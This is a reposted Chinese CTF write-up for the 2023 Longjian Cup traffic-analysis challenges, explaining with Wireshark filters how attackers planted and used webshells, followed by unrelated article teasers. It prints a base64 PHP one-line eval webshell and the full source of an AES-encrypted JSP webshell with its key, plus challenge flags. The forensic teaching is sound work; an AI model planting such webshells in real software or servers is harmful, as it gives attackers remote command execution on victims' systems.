2023陇剑杯-流量分析篇-wp

1.ez_web

Q1:服务器自带的后门文件是什么?
常用http过滤命令:http.request.full_urihttp.request.method==POST

        查看第一个POST请求,发现关键点file_put_contents(备注:file_put_contents内置函数,用于将字符串写入文件)分析可知,攻击者首先通过ViewMore.php写入一句话木马d00r.php,然后通过d00r.php执行系统命令,具体分析如下:

file_put_contents('d00r.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=='));,file_put_contents 函数将经过Base64编码的PHP代码写入到一个名为'd00r.php'的文件中。 PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg== base64解码后对应的PHP代码为<?php eval($_POST['cmd']);?>(经典的php一句话木马)

然后通过一句话木马文件d00r.php执行whoami,ls等一系列系统命令。

因此服务器自带的后门文件是ViewMore.php。

Q2:服务器的内网IP是什么?

如下所示:第22251个流,追踪http数据流,

查看ipconfig的回显,发现内网ip地址为:192.168.101.132

Q3:攻击者往服务器中写入的key是什么?

追踪http数据流,将cmd执行命令进行url解码,分析可知file_put_contents 函数将解码得到的数据写入到名为k3y_f1le的文件中,

base64解码发现:PK开头,直接保存为1.zip 

压缩文件存在密码?

继续查看POST请求包,追踪23473流发现执行了cat /passwd命令,猜测响应值为密码

解压可得到key.txt

解压密码:7e03864b0db7e6f9
key.txt
flag值:7d9ddff2-2d67-4eba-9e48-b91c26c42337

2.hard_web

Q1:服务器开放了那些端口?按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80,81,82端口,即答案为80,81,82
TCP扫描端口,如果端口是开放的,那么服务端会返回SYN + ACK数据包
因此需要过滤SYN、ACK状态都为1的包,标志位都处于Set状态的包
过滤命令如下:tcp.flags.syn==1 and tcp.flags.ack==1

因此服务器开放的端口为80,888,8888

Q2:服务器根目录下得flag值是多少?
Q3:webshell的连接密码是多少?

直接过滤post请求,本流量包post请求就下面几条,一个一个追踪tcp数据流(或者http数据流)

追踪数据流发现,POST流量全部都是加密的,完全看不懂请求和响应的内容。

重新过滤http请求,在24207个流发现,攻击者查看(cat )shell.jsp内容,加密webshell,其密钥为748007e861908c03。

格式化代码:AES密钥    webshell连接密码,后续POST的流量都是加密的。

<% !String xc = "748007e861908c03";
class X extends ClassLoader {public X(ClassLoader z) {super(z);}public Class Q(byte[] cb) {return super.defineClass(cb, 0, cb.length);}
}
public byte[] x(byte[] s, boolean m) {try {javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));return c.doFinal(s);} catch (Exception e) {return null;}} %> <%try {byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream = request.getInputStream();int _num = 0;while ((_num += inputStream.read(data, _num, data.length)) < data.length);data = x(data, false);if (session.getAttribute("payload") == null) {session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));} else {request.setAttribute("parameters", data);Object f = ((Class) session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));}} catch (Exception e) {} %>

追踪TCP数据流,解密post流量

将POST请求体中的数据以hex格式进行显示,即:显示为原始数据,以0d0a进行分隔(去除请求头和响应头,留下请求体信息以及响应体信息)。

AES解密POST请求数据,具体如下:

TCP追踪流24362 解密流量

  解密请求体,发现cat /flag
      继续解密该请求对应的响应体,具体如下:

   得到flag
flag{9236b29d-5488-41e6-a04b-53b0d8276542}

注意:追踪TCP流需要解码gzip。什么是gzip请参考:什么是gzip?-CSDN博客

3.wireshark

Q1:被入侵主机的IP是多少?
Q2:被入侵主机的口令是?
Q3:用户目录下第二个文件夹的名称是?
Q4:/etc/passwd中倒数第二个用户名是什么?

4.SSW(SmallSword)

Q1:连接蚁剑的正确密码是?(答案:123asd)
Q2:攻击者留存的值是?(示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)
Q3:攻击者下载到的flag是?(答案示例:flag3[uuid))

5.tcpdump

Q1:题目内容:攻击者通过暴力破解进入了某Wiki文档,请给出登录的用户名与密码,以:拼接,比如admin:admin
Q2:题目内容:攻击者发现软件存在越权漏洞,请给出越权者越权使用的cookie的内容的md5值(32位小写)
Q3:题目内容:攻击者使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以冒号拼接,示例:root:123456
Q4:题目内容:攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出CVE编号以及远程EXP的文件名,使用冒号拼接,例如:CVE-2020-19817:exp.so
Q5:题目内容:给出攻击者获取系统权限后,下载的工具的名称,比如nmap

6. hacher

Q1:题目内容:admin用户的密码是什么?
Q2:题目内容:app.config[''SECRET_KEY'']值为多少?
Q3:题目内容:flask网站由哪个用户启动?
Q4:题目内容:攻击者写入内存马的路由名叫什么?(答案不需要加/)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/6942.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

A star前置算法优先队列

A* 寻路算法 其中最重要的就是如何确保我们每次走的都是权值最小的路径这样就可以保证我们寻找的路径是最优的。 优先队列 优先队列是实现A*寻路算法的时候根据权重找出对应的结点很好的方法。 什么是优先队列 优先队列是0个元素和多个元素的集合&#xff0c;每一个元素都有一个…

访学/博后/联培博士关注|不同国家的英语口音辨识度训练

在访问学者、博士后及联合培养的申请过程中&#xff0c;接收方多数都要求英文面试。如果导师的母语为非英语国家&#xff0c;将会带有口音&#xff0c;这样更增加了英语面试难度。如何提升不同国家的英语口音辨识度&#xff0c;使自己的英语表达更加流利&#xff0c;知识人网小…

KEIL 5.38的ARM-CM3/4 ARM汇编设计学习笔记13 - STM32的SDIO学习5 - 卡的轮询读写擦

KEIL 5.38的ARM-CM3/4 ARM汇编设计学习笔记13 - STM32的SDIO学习5 - 卡的轮询读写擦 一、前情提要二、目标三、技术方案3.1 读写擦的操作3.1.1 读卡操作3.1.2 写卡操作3.1.3 擦除操作 3.2 一些技术点3.2.1 轮询标志位的选择不唯一3.2.2 写和擦的卡状态查询3.2.3 写的速度 四、代…

轨道交通巡检机器人的应用范围

在现代轨道交通系统的庞大网络中&#xff0c;无数的轨道、设备和设施交织在一起&#xff0c;如同一个精密的机器在高效运转。而在这背后&#xff0c;轨道交通巡检机器人正悄然登场&#xff0c;它们如同一个个智能的守护者&#xff0c;穿梭于各个场景之中。那么&#xff0c;这些…

python从0开始学习(三)

目录 前言 1、类型转换 1.1 隐式类型转换 1.2 显式类型转换 2、eval函数 总结 前言 上篇我们讲了python中的变量与常量&#xff0c;以及变量类型。本篇文章将接着往下讲。 1、类型转换 python中的数据类型转换包括两种&#xff1a;隐式类型转换和显式类型转换。 1.1 隐式…

SAPUI5基础知识1 - 概览,库,支持工具,自学教程

1. SAPUI5 概览 1.1 SAPUI5 SAPUI5是一种用于构建企业级Web应用程序的开发框架。它是由SAP开发的&#xff0c;基于HTML5、CSS3和JavaScript技术。 SAPUI5提供了一套丰富的UI控件和工具&#xff0c;使开发人员能够快速构建现代化、可扩展和可定制的应用程序。 它还提供了数据…

西门子数控网络IP设定配置

总结&#xff1a;menuselect-诊断-屏幕下方右翻页找到tcp/ip&#xff0c;进去选择tcp/ip诊断&#xff0c;进去选择x130网口&#xff0c;点击更改&#xff0c; 如果没有更改&#xff0c;menuselect-调试-口令&#xff0c;输入口令 sunrise 然后重新配置tcp/ip&#xff0c;配置完…

Qt 6 开源版(免费) -- 在线安装图解

经常遇到询问&#xff1a;有没有Qt6安装包&#xff1f; ......&#xff0c;真没有呢~~ 从Qt6起&#xff0c;它整了两个重大改变&#xff08;并非指技术&#xff09;&#xff1a; 在线安装&#xff0c;不再提供单独的安装包主推收费的商业版 当然的&#xff0c;为了培养市场…

SPSS之聚类分析

SPSS中系统聚类分析功能在【分析】—【分类】—【系统聚类】中完成。系统聚类有两种类型&#xff0c;一种是对样本进行聚类&#xff0c;称为Q型聚类&#xff1b;一种是对变量进行聚类&#xff0c;称为R型聚类。在【系统聚类分析】—【聚类】框下选择【个案】——Q型聚类&#x…

微信小程序生成二维码加密(CryptoJS4.0加密PHP8.0解密)AES方式加密

1、小程序创建 crypto-js.js和crypto.js两个文件&#xff08;点击文件即可&#xff09; 2、小程序js页面引入 var crypto require(../../utils/crypto.js);//注意路径是否正确3、使用 let data {id: that.data.id,name: dx}console.log(JSON.stringify(data))console.log(&…

iOS - Undefined symbols: 解决方法

Undefined symbols: 是让人苦恼的报错&#xff0c;如何知道是 哪个 symbols 不对呢&#xff1f; 今天探索到下面的方法&#xff1a; 1、点击导航上方 最右侧的按钮&#xff0c;查看历史报错 2、选中报错信息&#xff0c;右键选择 Expand All Transcripts 在出现的详细信息面…

FreeRTOS软件定时器(1-18)

软件定时器简介 定时器&#xff1a;从指定的时刻开始&#xff0c;经过一个指定时间&#xff0c;然后触发一个超时事件&#xff0c;用户可以自定义 定时器周期。 硬件定时器&#xff1a;芯片本身自带的定时器模块&#xff0c;硬件定时器的精度一般很高&#xff0c;每次在定时时…

Java常用命令总结 持续更新中!!!

蓝桥杯JAVA组 推荐输入输出示例 // 基础输入 import java.util.*;public class Main{public static void main(String[] args){} }// 非静态方法调用 new Main.Solution();//static函数里面调用非static函数 类.函数// 更快的输入方式 BufferedReader // 更快的输出方式 Print…

js监听页面的显示和隐藏

下方微信公众号 和微信小程序推荐 js监听页面的显示和隐藏 在JavaScript中&#xff0c;监听页面的显示和隐藏可以通过监听visibilitychange事件来实现。visibilitychange事件会在页面的可见性发生变化时触发。 以下是一个简单的示例&#xff0c;演示如何使用visibilitychan…

打招呼得不到回复,跟头像还有关系?

现在很多人有个想法,那就是觉得某些公司是不是为了某些目的才往出发的招聘信息啊,其实他们并不需要招聘新员工。 目录 已读不回? 头像很重要 选择自己的精修照片 已读不回? 很有这种可能,但你细心观察会发现,的确有很多大公司,

再学Java基础——垃圾回收

在Java中&#xff0c;垃圾回收&#xff08;Garbage Collection&#xff0c;简称GC&#xff09;是一个自动的内存管理机制&#xff0c;它用于自动释放那些不再被程序使用的对象所占用的内存空间。这种机制有助于防止内存泄漏和内存溢出等问题&#xff0c;使程序员能够更专注于业…

《面向对象程序设计及C++》实验报告

《面向对象程序设计及C》实验报告 一、实验目的与实验要求 &#xff08;1&#xff09;掌握类的定义、类中成员函数的定义和使用、构造函数和析构函数的定义、功能&#xff1b;掌握对象的使用方法。 &#xff08;2&#xff09;掌握静态数据成员、静态成员函数的功能和使用方法…

什么是新能源汽车热管理?

前言 新能源汽车热管理是指针对电动汽车等新型动力系统所涉及的热量控制和调节技术&#xff0c;其包括散热、冷却、加热、温度控制等方面。在新能源汽车中&#xff0c;电池、电动机、控制器等部件都会产生一定的热量&#xff0c;如果不进行有效的热管理&#xff0c;将会影响汽…

Java中多线程间的通信机制:初学者指南

Java中多线程间的通信机制&#xff1a;初学者指南 在Java中&#xff0c;多线程编程是构建高效、响应迅速的应用程序的关键。然而&#xff0c;当多个线程需要共享数据或协作完成任务时&#xff0c;就需要考虑线程间的通信问题。线程间的通信是指一个线程需要等待另一个线程完成…

Cocos Creator UICanvas详解与2D游戏配置详解

前言 Cocos Creator是一款强大的2D游戏开发引擎&#xff0c;提供了丰富的工具和组件来帮助开发者快速制作出优秀的游戏作品。其中&#xff0c;UICanvas是Cocos Creator中一个非常重要的组件&#xff0c;用于管理游戏中的UI界面。 在本文中&#xff0c;我们将深入探讨Cocos Cr…